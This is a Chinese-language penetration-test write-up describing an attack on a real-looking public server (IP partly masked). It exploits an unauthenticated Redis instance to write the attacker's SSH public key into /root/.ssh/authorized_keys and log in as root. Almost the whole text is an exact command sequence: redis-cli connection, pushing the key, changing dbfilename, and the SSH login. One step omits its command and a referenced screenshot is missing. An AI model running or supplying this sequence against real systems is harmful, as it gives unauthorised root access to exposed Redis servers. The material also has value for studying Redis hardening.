在一次滲透測試中拿到一個ip地址52.80.249.xx,nmap端口掃描出22,6379,80端口,目標機是linux系統的一臺服務器,6379為redis的默認端口,嘗試對其進行利用。使用kali作為攻擊機
一、環境準備
1.1、在攻擊機上面下載redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
1.2解壓文件,執行文件
解壓文件:
tar xzf redis-2.8.17.tar.gz
進入redis目錄:
cd redis-2.8.17
安裝:make
1.3、進入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣以后啟動redis就不用進入安裝目錄了)
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
1.4、返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下
cd ../
cp redis.conf /etc/
1.5、使用/etc/目錄下的reids.conf文件中的配置啟動redis服務:
redis-server /etc/redis.conf
1.6、然后ctrl+c退出,再次進入src目錄然后連接目標靶機的redis服務
ctrl+c
cd src
redis-cli –h 52.80.249.xx
出現52.80.249.xx:6379>就代表連接成功,并且沒有輸入密碼
二、漏洞利用
2.1、這里附上一個這里沒法利用的一種 攻擊方式截圖(沒有測試僅供參考)
2.2、我們這里是不知道路徑的,根據前期信息收集知道還有ssh服務的22端口是開放的,可以利用“公私鑰”認證獲取root權限
使用ssh生成公鑰和私鑰文件
ssh-keygen -t rsa
2.3、進入.ssh文件下,將上面生成的公鑰保存到1.txt里面
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > 1.txt
2.4、將生成的公鑰文件通過redis上傳到目標服務器
cat 1.txt | redis-cli -h 52.80.249.xx -x set crack
2.5、遠程連接redis服務
redis-cli -h 52.80.249.xx
2.6、獲得redis備份的路徑
config get dir
2.7、更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh):
2.8、設置上傳公鑰的備份文件名字為authorized_keys:
config set dbfilename authorized_keys
2.9、檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機
config get dbfilename
2.10、攻擊機直接ssh連接目標服務器
ssh -i id_rsa root@52.80.249.xx